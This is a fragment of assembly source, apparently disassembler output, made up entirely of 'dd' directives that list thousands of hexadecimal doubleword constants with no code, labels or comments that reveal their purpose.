		dd 0FE22D9E8h, 7BE80A5Ah, 0EAC4D5E7h, 0EDDF6A29h, 0A7300748h
		dd 65BF1AD0h, 0AFF01E5Bh, 8832D8CCh, 8920F002h,	6FC655BFh
		dd 2767C384h, 1F48337h,	0A00BBBECh, 96550DBBh, 0E685301Dh
		dd 1774022Ah, 2A400AAAh, 565A19EBh, 3F0FD98Ah, 0F897332Bh
		dd 0C78BA161h, 0C2D4A26Eh, 751A8CB8h, 0C1A7B845h, 196E03A0h
		dd 5044F699h, 188859C4h
		dd 9F2B4495h, 0D3416762h, 58416248h, 0D40741F0h, 0F9B7FF0Ch
		dd 0AE86452Dh, 7B64FD89h, 44535CE4h, 0E81A1889h, 0A5BE67A8h
		dd 14613C5Eh, 0AB29F068h, 0D6952FA6h, 1E4E7BC9h, 0F8333BDAh
		dd 1D461B16h, 67C44FB7h, 0F95BACCAh, 75BE8B5Dh,	0E574AA18h
		dd 0A32B5681h, 4111D0F6h, 2C4808BFh, 4E84F78Ah,	2902B3CDh
		dd 2C201D50h, 0DC433925h, 2FC6571h, 0B57E18E2h,	1F0B2EC2h
		dd 6A32B7F4h, 4C445724h, 235CFB9Fh, 209733FCh, 0A63CBFECh
		dd 8983C637h, 2C2DDA7Bh, 0F3174048h, 0BCD6957Eh, 0D83BD78h
		dd 2574FDFEh, 1CAADB0Ah, 4F09A509h, 1845FA21h, 8B9BE03Ah
		dd 0E03B0CCCh, 9199497Ch, 0D8B2881Ah, 92CCC355h, 0AD0C8558h
		dd 4150C08Ch, 0BAB6050Eh, 7A5E7325h, 0FA88F471h, 0C7271C22h
		dd 316EDD1h, 0F08904F8h, 1B588F86h, 8C2DAFB7h, 8A3818FCh
		dd 1B984E59h, 0D4F9D45Ch, 424C731Dh, 0BD869BA7h, 4C6CF808h
		dd 5AB09571h, 8A5AB2F3h, 56440E4Eh, 425A8ABFh, 2C694C10h
		dd 0F2C27E1Dh, 2167D6A0h, 0F0FEA224h, 322E93F1h, 285FBE50h
		dd 7D491107h, 344B8594h, 6B5992E3h, 0B4760D69h,	42668A42h
		dd 891D218Ah, 0F2515907h, 0B8F74DFFh, 518BED75h, 284526B5h
		dd 0DD45AFA8h, 2E06FD21h, 28B04518h, 25BC91B3h,	0D0B77CF8h
		dd 6A13E44Dh, 3C35A1Fh,	0BE9C8Bh, 38802646h, 2974752Dh
		dd 99025824h, 1840F14h,	0C6198901h, 30473584h, 0E4956AAh
		dd 78584F96h, 4A0206h, 3B04E983h, 38CC7DD3h, 9479D24h
		dd 0F63058A5h, 4216C8F8h, 2F890644h, 3D80FCF8h,	358B0A3Eh
		dd 0A62F7F6Ah, 0FCD1C2D5h, 16D2462Eh, 0A475FB17h, 91CF0E77h
		dd 0E5A1C023h, 39BC2013h, 0E55C1F6Bh, 0F32B3559h, 7AC63216h
		dd 495CE34Fh, 0FD481435h, 2941A9F5h, 10E4169Ch,	0E28CE492h
		dd 98352C0Ah, 6288D98h,	0C83F3020h, 1BF1942Ah, 178D900Ch
		dd 8C7D0A75h, 74B50956h, 0A889F532h, 4AE8BF13h,	9F5A6840h
		dd 1E10D425h, 36EBC6C0h, 0C4884670h, 76A3532Fh,	93451C49h
		dd 1D989232h, 0BCAF7C68h, 0A822072Ch, 0CC278D3Bh, 12CA53EBh
		dd 65FB148Ch, 743016F4h, 0A513178h, 0C2C93FC7h,	3124D29h
		dd 75E145F7h, 74DB28DCh, 0D734BA8Dh, 2C4E4945h,	1E38BE90h
		dd 0A983D8A1h, 9A528311h, 627ADE71h, 665D3967h,	0E65F56AEh
		dd 7A909853h, 411247CAh, 66501E88h, 44681A1Dh, 886775E2h
		dd 0CEA514A0h, 0DE34680Ah, 8E375F7Bh, 0B714298Ah, 0D40F2C0Bh
		dd 0AC6A68A4h, 4566A1ABh, 8918EC1Bh, 89C82228h,	4BCA4518h
		dd 0ECE8DB7Ch, 41E12C11h, 0BAC91501h, 5440F212h, 68B126E0h
		dd 713F29FAh, 6A13483Ah, 178F2152h, 8560A0FAh, 0D8237414h
		dd 27E5ACCh, 4006C632h,	0DDAA9947h, 57257272h, 104E9977h
		dd 6F5C8C21h, 0AC752B08h, 0FE2625E2h, 0E898116Dh, 0AC642C40h
		dd 6132A5C5h, 0A30F6A15h, 6C28DFB1h, 0EAC69Fh, 7D8B248Dh
		dd 38F63320h, 13741F15h, 5857C89Eh, 46141174h, 586BC781h
		dd 7C030ABAh, 0AFA12DDDh, 0F25AC9D2h, 0C3A63F6Ch, 0AF88B2Ah
		dd 0F4B00377h, 0E19F7EFCh, 0B52CD5BEh, 92CBF1D3h, 1104033Bh
		dd 2E922468h, 0BE37DB56h, 639BFAADh, 0CC599CE4h, 6B552481h
		dd 0D21C5608h, 6F228D0Dh, 436B0E1h, 12A2BA90h, 8793C65Dh
		dd 0F25A90B9h, 24A1CCDEh, 0F2A41868h, 34D3D37Ah, 0E65B21BDh
		dd 38EDD5D0h, 1D012BC7h, 1CEC6885h, 0C26A3743h,	2F988C59h
		dd 0CA205445h, 61C2488h, 7D38E95Fh, 24851CBCh, 7B1AD25Fh
		dd 0E4BFC916h, 0C3F8C987h, 271925E2h, 8934288Bh, 5A2B240h
		dd 34221961h, 0A49EF6BEh, 0B1D1EB29h, 381AD721h, 53E93C39h
		dd 0B8156226h, 0E0B1DD1Ch, 35D96D3Ah, 9C0D6FE4h, 260819D4h
		dd 0E555B956h, 4EE3511Fh, 94C2CE6h, 0B974C8B9h,	13FEA4F6h
		dd 3389046Ah, 0B5BA5EC7h, 0F980785Ah, 8C258B02h, 84E51135h
		dd 0E790748h, 8A388901h, 0F2053A83h, 7D37D77Ah,	0FC36F4E8h
		dd 3F0B9CA5h, 17868FD6h, 0B428AF03h, 3B136E35h,	801989F3h
		dd 4F92C1D2h, 9FBFC939h, 3225B53Ch, 0E4C7B264h,	0F08B2F69h
		dd 466554D4h, 0B4090E5Fh, 92824E1Ch, 7C6090BEh,	41FC2468h
		dd 11205151h, 0B855D184h, 0C5579062h, 1C8C8BF3h, 1456AD34h
		dd 0BC8D7117h, 3409B05Ah, 0E5B525D4h, 0A431C117h, 1F2233CAh
		dd 2B0775A1h, 0B908EE64h, 0D4844770h, 0CB0442FBh, 27112841h
		dd 5672185Eh, 0CA93A2Bh, 2C412B72h, 0C966CCCCh,	618DFC8Bh
		dd 794ACD46h, 34334E18h, 0DA3CD9ABh, 862CB873h,	0F5E4B826h
		dd 419FC4FBh, 1BDEF78Eh, 0FFE12AF6h, 2AEB8458h,	0EC088B06h
		dd 64489CBCh, 0AB740DFBh, 6F287442h, 0FE500C03h, 7CA08D49h
		dd 23383980h, 48A1A574h, 24048B65h, 993AE485h, 0FC64F038h
		dd 0C496851h, 6F10B20Ah, 1BF008D0h, 0B64FD474h,	532B5CA7h
		dd 58BD1CA4h, 94684A06h, 21C2CEB3h, 0FE94A014h,	5931881Bh
		dd 0BC30C2E1h, 238489FDh, 403A5857h, 4FFFADB8h,	9E1E64A3h
		dd 0D0169751h, 0A009741Bh, 0AEA9E02Bh, 570E868Bh, 24B330FFh
		dd 63862FD5h, 220E834Fh, 947D8104h, 0E27284CAh,	9CB2F69Eh
		dd 0EF906790h, 8CAA46B9h, 552C8181h, 754F81CCh,	480F3913h
		dd 93B9762h, 4ACD421h, 0FAECBACh, 56507FC1h, 0F9D35329h
		dd 689D7B40h, 0D2746893h, 3D1975C2h, 29900A18h,	8F097E44h
		dd 4C4F330Dh, 18F8C866h, 6F5D3744h, 82701230h, 5FFD901Dh
		dd 0F2101C27h, 11D59B8Eh, 4D2E2868h, 0E27A5755h, 90C3A99Ch
		dd 348B1045h, 0EF388106h, 53B8445h, 0DC7C3206h,	3D952DD5h
		dd 0BADFD509h, 0A02F7156h, 82F9EAF1h, 8A10FF01h, 3EBF620Dh
		dd 88335069h, 0F024829h, 8D031230h, 0C370698Fh,	49F53C4h
		dd 0A3E65140h, 0A835440Ah, 12FCB4E8h, 2DD58987h, 25105F1Bh
		dd 9E3C89BDh, 645C5E34h, 93E7E9BCh, 42A149BFh, 30395B41h
		dd 8D283B7Bh, 2984B887h, 114F390h, 31B5F445h, 70FF335Bh
		dd 0C9E2873Eh, 478ACBE5h, 38794450h, 0EB2F456Ah, 75424532h
		dd 6A1B212Bh, 4CA23E02h, 12619646h, 4AEE5D88h, 0EB188F34h
		dd 6DD0004Dh, 92390428h, 528F3436h, 5FBF2439h, 48B0A2BCh
		dd 3811BB87h, 8B2D19F8h, 137D8507h, 6040942Fh, 7F5FA1EFh
		dd 5A85C7F8h, 0B0A6438h, 7F8E8A7h, 18948A70h, 0E50A0A6Bh
		dd 31663817h, 1A5D913Bh, 4432DD34h, 2C141245h, 3798B414h
		dd 13245268h, 4E7B53CAh, 0D19F88F3h, 18607A64h,	4088033Dh
		dd 681C160Ah, 0EF5B1310h, 0C51B1B7Dh, 8F1FE67h,	0BEEA1821h
		dd 0D9020C12h, 94046A05h, 0CA849ED8h, 75046412h, 281CF5A4h
		dd 1414BD80h, 9097C30h,	167E3980h, 28A6036Ah, 0FE231DE1h
		dd 0E8934842h, 127E85ACh, 88FD1139h, 11D9A521h,	6000323Bh
		dd 8080CD7Eh, 558820C2h, 0A123A4ECh, 1236EDBEh,	29109440h
		dd 49ED0C6Ah, 402A9BFFh, 0AE06A624h, 0A54C9AA4h, 528FA9F2h
		dd 304CF43Eh, 68D084F7h, 0C3789289h, 41E69FD7h,	0A4D6791Ah
		dd 51AB0C25h, 99D7FBE3h, 2413DAD2h, 0A43020A2h,	1F18083Ch
		dd 534324A2h, 462AB55Ah, 0DFBC3447h, 1891801h, 2239E575h
		dd 38CB3BB1h, 7DF53082h, 298903C1h, 2D148B08h, 1A51B1D8h
		dd 9C9BA5A9h, 32E9207Ah, 0EC68DC88h, 0FC681A5Eh, 4717A6D2h
		dd 0E49988E0h, 8E8278D8h, 7384CC47h, 3CC86231h,	0B8235C47h
		dd 0B47227C4h, 2310473Ch, 2D7541ACh, 0C1D738FFh, 0A068226Ah
		dd 8CB433BAh, 1599AB0Bh, 3E2DC421h, 9564D484h, 235C93Bh
		dd 42368040h, 680A8215h
		dd 115C1174h, 2842BEEBh, 0B041F54h, 34224868h, 28089611h
		dd 0A218908Dh, 421C211h, 0F7580428h, 29843B98h,	782B19F8h
		dd 0E8226812h, 87D47519h, 13F8C890h, 11BC6821h,	349CA2A8h
		dd 3E270F74h, 56EC9401h, 129FD656h, 56157C01h, 1E23CCADh
		dd 42D3ACE9h, 9068280Fh, 0A78456Fh, 680EC23Fh, 541E846Ch
		dd 0F3F453Ah, 0B43F42D9h, 3F0ECC3Dh, 44681082h,	820F2C11h
		dd 111C6814h, 82D41A08h, 2C217DF4h, 18CC8421h, 1F9C5728h
		dd 26CB34C4h, 3B18C012h, 0D4934380h, 9DB4B280h,	0E8A0212Bh
		dd 3EACE42Bh, 98146757h, 8CB22B18h, 0E874291Fh,	697CE42Bh
		dd 46CF2930h, 17702B2Dh, 6072B844h, 1F07599Dh, 9DC85868h
		dd 38E56144h, 8082B3Ah,	1C443068h, 6DAD1468h, 10CA3711h
		dd 1D20D117h, 0EA233CC2h, 17F8082Ch, 0E81CD3D9h, 4F6C3884h
		dd 9C478C70h, 4E2EE02Bh, 17D4CAB1h, 0CC1C2AD1h,	0DF13118Fh
		dd 2BBFC223h, 231EB831h, 0E7B091A8h, 78A8E458h,	9C468E6Eh
		dd 173F7586h, 14C63C78h, 0FC2F74B8h, 0CB44EE05h, 0F7C7500Fh
		dd 49CD32ADh, 9637509Ah, 0EE61C8Bh, 6938A5CAh, 8C2A57D0h
		dd 88173056h, 7820E440h, 2329463Bh, 7224C414h, 0EF233C04h
		dd 16FC0828h, 0F01CD8D9h, 27D1088Fh, 0C121E8C4h, 8AAB224Dh
		dd 0D86517BAh, 8E8C2E68h, 8817CC56h, 0E291EF75h, 1EB83933h
		dd 0AC911C23h, 1826D3E1h, 0BC118FA4h, 87F098C8h, 90478C25h
		dd 88E47088h, 2820D16Dh, 8468B15Bh, 48E737A5h, 0B7D83E17h
		dd 89164458h, 29DD62BDh, 0ADB45439h, 0D074918Ch, 0E0A7139Ah
		dd 0B18BDDEAh, 4FD108EDh, 0A2398AD3h, 0F50F7443h, 0B385F992h
		dd 9F6B8C16h, 71A8A44Ah, 85090C88h, 5BB6F728h, 0C89F148Eh
		dd 80A1889Ah, 2EFEB60Fh, 11230FA3h, 992C902Dh, 0A748684Ch
		dd 16B58408h, 0F81483F8h, 955698EBh, 574FA059h,	0FBCCBBB0h
		dd 351C05EEh, 8D31FF81h, 944905C7h, 9F7B6069h, 0AD153984h
		dd 220CF2B5h, 0BCE6C99Eh, 0B14E1549h, 0E6192304h, 0ED2317B4h
		dd 0E17C1122h, 781821F5h, 0C8DE118Fh, 20E6F070h, 886C478Ch
		dd 0F464E1CFh, 0AA111A41h, 0F15C881Fh, 8F541C93h, 60CA7C11h
		dd 7A17B5Ch, 37313F01h,	0D905FD0Ch, 0D0BE3C13h,	118C2315h
		dd 0FE0CB170h, 908D740Ch, 29B58A8Ch, 2D48D552h,	106C8589h
		dd 0C8F81421h, 4CA51412h, 0C17FF7DEh, 7AFD082Eh, 813CE528h
		dd 0F011F60Ch, 0DA330812h, 0C79346Fh, 0FF184287h, 6095FD2Bh
		dd 17186889h, 62B424CAh, 28292378h, 3C6B1CAEh, 0D5144594h
		dd 15C909FEh, 1D4A111Bh, 0D117088Ah, 36C21D33h,	1E1FDE8h
		dd 572C848Bh, 0DA847FC9h, 52575418h, 7032D912h,	8C89081Ch
		dd 524C560Eh, 3D56895Bh, 888AAD55h, 26565957h, 88115B58h
		dd 975895D5h, 14B812D1h, 87DA9845h, 0FF116A17h,	704BCF29h
		dd 7F6042C4h, 0E2201623h, 4B92B155h, 42EA2174h,	0D1C61470h
		dd 0A56EA126h, 4263BF6Fh, 343A1B0Bh, 8CF47B17h,	53885047h
		dd 3C7848E4h, 741BF18Eh, 7209C2EFh, 16184322h, 19F1424h
		dd 0B86B845Ah, 1B63598Dh, 0AC1403EBh, 7A77A8E8h, 0B8051840h
		dd 5650511Ch, 48BEE2BBh, 16AB12Ah, 81E3D273h, 89687441h
		dd 7A46249Ch, 68B60AB0h, 898513E8h, 4857C679h, 96A1CAB6h
		dd 6C134411h, 46194756h, 0EF3F8817h, 18EDE191h,	118FBC18h
		dd 0C44C49D6h, 2458C33Bh, 0C6B5E8DCh, 29B853AFh, 3AF0ADDh
		dd 9F412D40h, 25E82248h, 0B41DF340h, 0E408EC1Ch, 0D87F0D61h
		dd 2A35C744h, 0A24CB605h, 0C2D49BFh, 7561685Dh,	0C2489136h
		dd 0BC151390h, 0D617E9CFh, 53A271ECh, 22D54E32h, 0A281C33Bh
		dd 4725163Ah, 45202074h, 70701828h, 21B7A087h, 2012019Ah
		dd 0A6598BFCh, 40148B1h, 0AAF064AEh, 77EE3216h,	28FCBF22h
		dd 0F6342517h, 1C1F766Dh, 5260CCADh, 0A67AA4CEh, 0F74FC937h
		dd 2213D269h, 604893D9h, 9252A57Ch, 55C2F34Bh, 9D8930F8h
		dd 74153C61h, 342E560Fh, 4016C34Dh, 6681F79h, 225082Eh
		dd 0C6F93960h, 0FF44F0ACh, 0B2988462h, 65B1F5B4h, 90ACB01Dh
		dd 4C010CD9h, 9B160DF8h, 27484518h, 834C295Ch, 869C5765h
		dd 1810851Ch, 0A1F83410h, 0CD0CF5B0h, 3E9A7C46h, 5042F6C7h
		dd 2B3A24F8h, 85707143h, 9215DA5h, 2912B068h, 0BFB6B40Ch
		dd 0AD20E211h, 0C7010B73h, 359C3973h, 64213A78h, 0C123E667h
		dd 4DD99488h, 0D29835A9h, 8F71431h, 0B4F68C20h,	56FE4FAAh
		dd 71D4F810h, 35748B0Bh, 1C5A6E58h, 4585C0C2h, 0F8457488h
		dd 7FCC8ADAh, 1176EFCDh, 0F4CB515h, 6C680804h, 888B8A12h
		dd 1F1C511Bh, 83525A2h,	987A1220h, 891CF776h, 21272956h
		dd 12233F8Ah, 31109A62h, 23175A18h, 8E47B983h, 888713Bh
		dd 41C24F1h, 0C40D118Fh, 0C16C11F8h, 0F0230D46h, 0EC72AAC4h
		dd 2393473Ch, 725EC4E0h, 47473CD8h, 0BC4CC23h, 233CC472h
		dd 0B8110CF4h, 0B039BFE2h, 91A8231Eh, 3957E2A4h, 40231E9Ch
		dd 62E18C91h, 3CFE190Bh, 70234B47h, 187717C4h, 547284F3h
		dd 0ABB233Ch, 0A4E24C11h, 231E3C39h, 0E2309137h, 1E243920h
		dd 88099C11h, 72ACF31Ch, 31433C10h, 11EEA8E7h, 180813E1h
		dd 0C71046F8h, 4F0907FCh, 0E25209E8h, 0E8508A66h, 404AA129h
		dd 4681209Ch, 40E02B07h, 17326A45h, 0DE233CD4h,	0E2CC1106h
		dd 78E43BC7h, 0B8478E49h, 0ACE43288h, 546E178h,	0CAC4A423h
		dd 12A09B52h, 0B2C8E188h, 10408E78h, 0DCE15676h, 0EE3B9C29h
		dd 0EF1EDD84h, 583FF5CCh, 3E85D63Ah, 7416056Ah,	845AAD2Ah
		dd 19A2FCD8h, 380B74CFh, 1EF9BB84h, 92F80D12h, 0F3341A45h
		dd 0AFF34AB8h, 8C941E35h, 6686A9F9h, 59711003h,	4203D27h
		dd 0EB97EBEh, 50CD3859h, 417E2BEFh, 0A2122021h,	668957B9h
		dd 72957564h, 400E862Dh, 2C85FC20h, 5CD0A77Bh, 1E6222DFh
		dd 946A0973h, 569E0B58h, 1F44A83Ch, 8D580676h, 9599AC4Bh
		dd 6653AF46h, 307F5C8Ah, 0A7643ECh, 508AAC7h, 89EE8313h
		dd 0D157F25Eh, 2EE02D31h, 8FBD4674h, 0A2219F49h, 0C0830B84h
		dd 30D150D8h, 2AFC1067h, 3413BD38h, 0F59BCBDh, 391AEBDDh
		dd 0AAA0C819h, 0C96B1F43h, 4554BD38h, 28AFA48Dh, 5069D39h
		dd 14680A75h, 123DB210h, 8849DEC3h, 93EEE57Ch, 80A5812Fh
		dd 0C80B7B38h, 88575926h, 6A09FDD0h, 2D315F10h,	0FAFE5878h
		dd 0D78B2BB7h, 7584801Ah, 1BCD564Dh, 451C4D46h,	0AC78884Bh
		dd 0C8830C02h, 1473452Eh, 547922E7h, 6C98DF4h, 0C3995D50h
		dd 14099408h, 12FBD25Ah, 28CAEEB9h, 0B35E182Dh,	0D8EA1F44h
		dd 0DB612CB6h, 0C00DDC06h, 0C64FC2Ch, 57B6EAB8h, 0C4A9F6Ch
		dd 966E0381h, 0E897A440h, 6933054Dh, 495DBFC0h,	0A2090CF0h
		dd 144A0644h, 127529BBh, 9CF77C69h, 76A88EE0h, 6C38F989h
		dd 0A3EAFE8Ah, 803090E9h, 885960FAh, 0BF2F745Dh, 37D9DC26h
		dd 7856C670h, 45FE861Eh, 7D803A3Ah, 0C8DE023Ah,	1D64B093h
		dd 7546359Ch, 3642102Ah, 46422220h, 0CF1C1A24h,	4A6E120Ah
		dd 0FD88873h, 2D08F4EBh, 9C95BEECh, 0E6F29771h,	4BA18A7Eh
		dd 4CC87E6Ah, 36257066h, 481A0501h, 7589214Bh, 6148D21h
		dd 296ED569h, 747208B1h, 460B5848h, 0FAA408Ch, 4071957Bh
		dd 29857A92h, 393FB820h, 0DA59A95Dh, 568E0F0Bh,	1CDFA174h
		dd 60FA21FAh, 0EC4DBE7Ah, 2B0CE63Bh, 0A1E2D97Ch, 0C91391CAh
		dd 43A320Bh, 0E78A271Bh, 9108E454h, 75526FE7h, 57E73EEBh
		dd 4992E6E1h, 12D9C25Dh
		dd 0A8C52320h, 0C13D4874h, 1C4974ECh, 0B0E0BCBDh, 0CA105E6Dh
		dd 0D8D94FEAh, 9708C920h, 0C0C3B39h, 0B7FD5AE0h, 0BD891F62h
		dd 89C9E02Ch, 4145E608h, 7C17E10Ch, 23A668D0h, 0C1A7FCC9h
		dd 3B2BEB0Ch, 59FD1686h, 0EA4B4908h, 0BEDB7402h, 0F790E2D0h
		dd 9C971046h, 88C40B9Eh, 911A609Dh, 0D0B88610h,	0D0880F4Fh
		dd 8B0FD0C4h, 8D8E4A58h, 1899B734h, 0C40C16ECh,	0AFCCB06Fh
		dd 9E519DC8h, 0F3CE2EBh, 8F96D56h, 212C200Ah, 0D044FEF0h
		dd 1A39C661h, 0E8FEF010h, 44218614h, 0EF8D0F0h,	0B547908Eh
		dd 19707552h, 0F97E469Dh, 5180F77Eh, 2EEA700Eh,	68562FC3h
		dd 575725ECh, 1EB2A55Bh, 0CA3A90C0h, 1E67959Bh,	0DB7C8441h
		dd 0B4CA2C6Ch, 64B8EB36h, 29FFC069h, 6CF14E0Ah,	642E8D19h
		dd 9C2D04FEh, 98ED291Dh, 6FB71A5h, 0A148A3AEh, 1A18A462h
		dd 819BAFFh, 70AF0AA1h,	8D7DC75Eh, 50029244h, 9FF1B8BAh
		dd 29755E32h, 8C899C53h, 9D593E0Eh, 794F8E4h, 1B8A5651h
		dd 65756068h, 75E250C2h, 0CE1F2FA2h, 0EBEC5B11h, 14C85D42h
		dd 0EB443464h, 245F8CA1h, 318F4597h, 0C317D15Eh, 3CB48B81h
		dd 457DDB11h, 815EB37Eh, 0C45B7415h, 96B2ADD2h,	0D0EA39FBh
		dd 4D970E24h, 0EA2AB40Bh, 0F01096CBh, 17242990h, 0E8898121h
		dd 0C69C5F0Dh, 5EA7FF58h, 37329C24h, 591CB9B0h,	6518A9C6h
		dd 0B0579531h, 49471B40h, 7D5E164Ch, 0BC2619E0h, 0B66E45BCh
		dd 0E6108BCEh, 2642A4FCh, 0DA5816EDh, 0D8E19855h, 0FA2CA416h
		dd 0ACC49D9Ah, 330D7DA1h, 7AA61651h, 900A0411h,	89E25A34h
		dd 6F4A136Dh, 0C71052E0h, 770CEB35h, 0A81939E4h, 0F2AD453Bh
		dd 0E47990ADh, 0F6E835AEh, 758BA094h, 3867972Ch, 31B8F6ADh
		dd 32278DDBh, 0E1690A0h, 335907CEh, 0E9363F8h, 0EE98C6F1h
		dd 5890CB0h, 0EC1470DDh, 5675AC0Eh, 0EBA06BB2h,	4CE35396h
		dd 41F1FCF9h, 3961CB14h, 1F81A10h, 40F12227h, 2FC9180Ch
		dd 0AAC04F4h, 2E7F6A2Ah, 3761C4Bh, 0D068161Dh, 569620Bh
		dd 56CC0D84h, 0C41E6D38h, 819FD317h, 2B0B7E4Eh,	0CA2C501Dh
		dd 4F3F49EAh, 23FB0474h, 0E22D4091h, 0E48D2E20h, 8D04D7E9h
		dd 3626AB84h, 8B2C3220h, 72643007h, 562FD265h, 41D3FA2Ch
		dd 56B69211h, 0B2C6C45h, 0AF0F531h, 72E3DE0Eh, 4F653475h
		dd 0AAC65345h, 20C22A1Dh, 0FC8C7259h, 12184943h, 6AB914DBh
		dd 6A7A58DBh, 790AE884h, 1A914FEh, 908676B4h, 1E8C2B11h
		dd 29CD45A6h, 0E9D34863h, 43588A41h, 8F1D7C70h,	39A12490h
		dd 0FEBC2A1Dh, 0E850F09h, 0F896E95Fh, 8D4F8E23h, 0FC1C9617h
		dd 0DD010F8Dh, 0A439FE7Ch, 8DD672D0h, 5AC6662Ch, 732B3039h
		dd 648585A7h, 3E7AAD24h, 0FC89C304h, 2414EEC7h,	0BD898259h
		dd 212059F8h, 0F24B3827h, 3F8CD2F5h, 9B82568h, 0E421FBEh
		dd 8CF92489h, 0A061F8E4h, 0BCA10E5Ch, 152CA512h, 96C891Fh
		dd 32577CBAh, 576C66AAh, 0B7418454h, 47111B02h,	149D5E29h
		dd 59184165h, 0D3382E33h, 0E219FF08h, 46CAE7D4h, 0AAD8ED27h
		dd 0F04CA5D5h, 448508E8h, 2C107A0Fh, 0D913EA5Eh, 0DF6B8BE8h
		dd 8AD70851h, 0C42D88FAh, 0F95622BEh, 721744FBh, 0D956240Fh
		dd 8D7F83D3h, 2812A01Ch, 5A05BA4Fh, 14ED043Ah, 0CA7490D4h
		dd 0B05C183h, 0F9751938h, 84031108h, 0A80C5589h, 9CFFA423h
		dd 0C64A03E1h, 7ED8208Dh, 0E2139C31h, 1F540850h, 0F8BC085Dh
		dd 44BFF352h, 0C7C39859h, 5061195h, 0E505243Fh,	2C5DD8D6h
		dd 0BE417417h, 0C22ED4CDh, 4141F6C2h, 0F5D57C46h, 0F003816h
		dd 3938C683h, 0E0752F1Eh, 0ED91D1AFh, 0F32BCE01h, 238AB605h
		dd 0C81C9124h, 0A0C5EB14h, 0CAF4720Bh, 24B48265h, 4680F15Eh
		dd 83B66C89h, 82795679h, 0EA5523BBh, 819E2D52h,	80B6BAB2h
		dd 0F9720164h, 7CCE043Fh, 0BB5591DAh, 0A87F799Ch, 7EA643BBh
		dd 66C7CBCh, 4B73BC14h,	10178365h, 8E27F9Ah, 10322004h
		dd 0F92E1404h, 0EAF44E6Dh, 8BB3DD35h, 66F106E2h, 32BC23FCh
		dd 1707C4C2h, 3E1912F1h, 477CC26Bh, 40CB9207h, 0E8C7FEF5h
		dd 2F290384h, 0F40BC9C2h, 63024B7Bh, 2B66FC1Dh,	0F9248D27h
		dd 87442BBh, 2CB92251h,	3DC5FB07h, 731165A2h, 0E1A64B0Dh
		dd 0FF302484h, 0A1A24460h, 0EC59BF3Ch, 0D0162BA6h, 0E7505D88h
		dd 1CBB0513h, 562A0F4Fh, 3BC96361h, 8406ED68h, 4D83E345h
		dd 0DEFBC785h, 0D286429Bh, 0A746B44h, 0AB41ABA7h, 2F86F27Ah
		dd 27B8F4B9h, 7362FD76h, 0A7E85C0Ah, 0BD70043h,	0ACE69CF5h
		dd 8C065D92h, 0EBDB3EFDh, 0AFC22429h, 85D1FC5h,	4754066Ch
		dd 73B3A113h, 0E292A10Eh, 628840Eh, 0ECFD2A74h,	0A20542E4h
		dd 0E8083D0Bh, 95087561h, 5FA74E1h, 0FC90C287h,	0E910901Fh
		dd 231BFDF1h, 206AE310h, 0D1FE4727h, 640ECACFh,	46766F3Ch
		dd 595821FCh, 8C100F0Ah, 0D488A3FCh, 68945133h,	0E1FC468Ch
		dd 880EE087h, 0F2AD7E10h, 21EF7090h, 0A187124h,	0D0688876h
		dd 0A7E10452h, 0CAFAD19Bh, 188871EFh, 0A86C43EDh, 0A1DF43A6h
		dd 0E15E0488h, 648548A8h, 93107A12h, 0C510EA65h, 1EC2E9DEh
		dd 0B692AB86h, 96C859B5h, 0FEAD8C3h, 4BE78E38h,	0F0995AF2h
		dd 73561280h, 0C033620Dh, 0C2A0A779h, 0A297C5Eh, 724BA738h
		dd 3E73806Dh, 8866FB6Bh, 5D72FF10h, 0B6C25016h,	554203B8h
		dd 66ACD73h, 0C8CF0D64h, 100AFF70h, 0B9C4FD7Ch,	0CCC36958h
		dd 0DDBF106Eh, 3476CE8h, 95247A7Ah, 18A0644Fh, 246A7D13h
		dd 0D6B89DABh, 6D4FFFFCh, 0D72AF3C9h, 2D02245Fh, 37925589h
		dd 0F48A5B53h, 0AE54F6F9h, 7CBF8043h, 9DFAA6FAh, 3485EB92h
		dd 8DE9ACF0h, 9DF02980h, 740DC478h, 0F404831Bh,	46E6AB5Eh
		dd 64FA7884h, 0CC11ACA6h, 0A014F402h, 214A21Fh,	0E814FA74h
		dd 292386F9h, 383E4DDDh, 4784BC3Eh, 284A1FAh, 0D23ECA7Bh
		dd 0F41109C9h, 393A138Fh, 451600ABh, 39E35903h,	5C68A03Ah
		dd 4C149F02h, 0CA4B1843h, 3468F1DDh, 0C8EB6D8Bh, 6AF83154h
		dd 8D85C4EEh, 16C5B821h, 63219D88h, 823C3474h, 6E5629B1h
		dd 5B79279Ah, 0D45C2450h, 0C9C1F78Bh, 4DA71410h, 26ED9D0Ch
		dd 0ED14969Ah, 79869204h, 907BAD65h, 70A3F422h,	2E62FE88h
		dd 0CC421D7Bh, 0C8081DC6h, 0D8F6201h, 6983044Dh, 52A468D6h
		dd 0BD848233h, 0F576DE3Fh, 0A0682602h, 0ADF4DB01h, 40597EE8h
		dd 719989E4h, 9206A6BFh, 69EF00CAh, 11759501h, 4241E825h
		dd 3010AAE2h, 0EE11B901h, 0D42ED0A3h, 839DAB1Bh, 1378C591h
		dd 77BD106Ah, 0A497FAA4h, 4B5E613Ch, 0E237A856h, 271288B5h
		dd 50528449h, 0A772EA53h, 5E9E909Dh, 0D233A450h, 71DBFA4h
		dd 53B37C25h, 70456EF6h, 25A7A63Eh, 8A8C7BC6h, 5A9D0C68h
		dd 0CD57ED42h, 0EFD325FFh, 0BA24E49Ch, 5F7CB462h, 0C0FB1413h
		dd 12EB1F04h, 95BB35FFh, 1A79A6CCh, 7D298868h, 20446597h
		dd 0CE3FB444h, 0FE2526E8h, 0ED2DA6BAh, 9171EF1h, 0EBC258D9h
		dd 3AD7E20Dh, 184D7C10h, 268D89FEh, 1454682Bh, 582CB8BDh
		dd 9A0CB396h, 5CEF1C8h,	28146827h, 0FF21EC20h, 0C0336241h
		dd 1EC9A37Eh, 72233186h, 6A62B229h, 37247A9Ch, 5663DC68h
		dd 31C70BC8h, 40F53B98h, 4EB0F823h, 0E08BF21Eh,	543920B4h
		dd 4D74369Ch, 0C78EB579h, 7B570CDAh, 0F9F86263h, 0FC032E11h
		dd 0CB2522CCh, 0EF8D4A54h, 0BD0E6678h, 0D331C565h, 0D83A6BEBh
		dd 76952C23h, 99756788h, 3A62F971h, 1B920981h, 0DFF8905Fh
		dd 2B4F56EBh, 0BF3C0FB2h
		dd 0FE4BD745h, 94C7274Eh, 21CD7EFAh, 0F24216F8h, 5174F1ADh
		dd 9D47246Ah, 6B73DA41h, 25EF71AFh, 5764077Ch, 22B89435h
		dd 437E5016h, 381531DAh, 0B15FB127h, 0D9162E8Eh, 681D54A7h
		dd 0B8415728h, 0A20AF5DFh, 303710FCh, 2A10D928h, 89B191E3h
